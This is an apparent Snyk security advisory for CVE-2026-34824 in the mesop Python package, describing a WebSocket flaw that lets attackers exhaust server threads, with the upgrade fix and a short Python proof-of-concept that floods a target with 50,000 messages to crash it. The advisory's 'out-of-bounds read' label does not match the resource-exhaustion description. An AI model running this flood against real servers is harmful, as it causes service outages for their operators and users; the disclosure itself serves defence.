Out-of-bounds Read Affecting mesop package, versions [1.2.3,1.2.5)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-MESOP-15917489
- published6 Apr 2026
- disclosed4 Apr 2026
- creditTuba Deligoz
Introduced: 4 Apr 2026
NewCVE-2026-34824 (opens in a new tab)How to fix?
Upgrade mesop to version 1.2.5 or higher.
Overview
mesop is a Build UIs in Python
Affected versions of this package are vulnerable to Out-of-bounds Read through the WebSocket handler. An attacker can exhaust system resources and cause service outages by sending a rapid succession of WebSocket messages, which forces the server to spawn an unbounded number of operating system threads.
PoC
import websocket
import base64
# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"
# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode`
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')
def flood_server():
ws = websocket.WebSocket()
try:
ws.connect(TARGET_WS_URL)
print("[+] Connection established. Initiating thread exhaustion attack...")
# Rapidly send 50,000 messages to force the server to spawn 50,000 threads
for i in range(50000):
ws.send(EMPTY_UI_REQUEST_B64)
print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
ws.close()
except Exception as e:
print(f"[-] Connection closed or server crashed: {e}")
if __name__ == "__main__":
flood_server()